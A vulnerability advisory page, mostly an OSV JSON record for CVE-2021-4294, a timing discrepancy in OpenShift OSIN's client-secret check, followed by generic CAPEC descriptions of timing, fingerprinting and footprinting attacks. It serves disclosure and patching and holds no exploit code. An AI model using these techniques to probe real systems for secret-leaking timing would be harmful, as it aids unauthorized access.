"type": "WEB",
"url": "https://metacpan.org/release/ARODLAND/Crypt-PBKDF2-0.261630/changes"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/06/12/3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-M7QP-CJ9P-GJ85
Vulnerability from github – Published: 2022-12-28 18:30 – Updated: 2024-03-01 14:23A vulnerability was found in OpenShift OSIN. It has been classified as problematic. This affects the function ClientSecretMatches/CheckClientSecret. The manipulation of the argument secret leads to observable timing discrepancy. The name of the patch is 8612686d6dda34ae9ef6b5a974e4b7accb4fea29. It is recommended to apply a patch to fix this issue. The associated identifier of this vulnerability is VDB-216987.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/openshift/osin"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.2-0.20210113124101-8612686d6dda"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-4294"
],
"database_specific": {
"cwe_ids": [
"CWE-203",
"CWE-208"
],
"github_reviewed": true,
"github_reviewed_at": "2023-01-09T21:50:04Z",
"nvd_published_at": "2022-12-28T17:15:00Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in OpenShift OSIN. It has been classified as problematic. This affects the function `ClientSecretMatches/CheckClientSecret`. The manipulation of the argument secret leads to observable timing discrepancy. The name of the patch is 8612686d6dda34ae9ef6b5a974e4b7accb4fea29. It is recommended to apply a patch to fix this issue. The associated identifier of this vulnerability is VDB-216987.",
"id": "GHSA-m7qp-cj9p-gj85",
"modified": "2024-03-01T14:23:07Z",
"published": "2022-12-28T18:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-4294"
},
{
"type": "WEB",
"url": "https://github.com/openshift/osin/pull/200"
},
{
"type": "WEB",
"url": "https://github.com/openshift/osin/commit/8612686d6dda34ae9ef6b5a974e4b7accb4fea29"
},
{
"type": "PACKAGE",
"url": "https://github.com/openshift/osin"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2022-1201"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.216987"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.216987"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "OpenShift OSIN vulnerable to Observable Timing Discrepancy"
}
No mitigation information available for this CWE.
CAPEC-462: Cross-Domain Search Timing
An attacker initiates cross domain HTTP / GET requests and times the server responses. The timing of these responses may leak important information on what is happening on the server. Browser's same origin policy prevents the attacker from directly reading the server responses (in the absence of any other weaknesses), but does not prevent the attacker from timing the responses to requests that the attacker issued cross domain.
CAPEC-541: Application Fingerprinting
An adversary engages in fingerprinting activities to determine the type or version of an application installed on a remote target.
CAPEC-580: System Footprinting
An adversary engages in active probing and exploration activities to determine security information about a remote target system. Often times adversaries will rely on remote applications that can be probed for system configurations.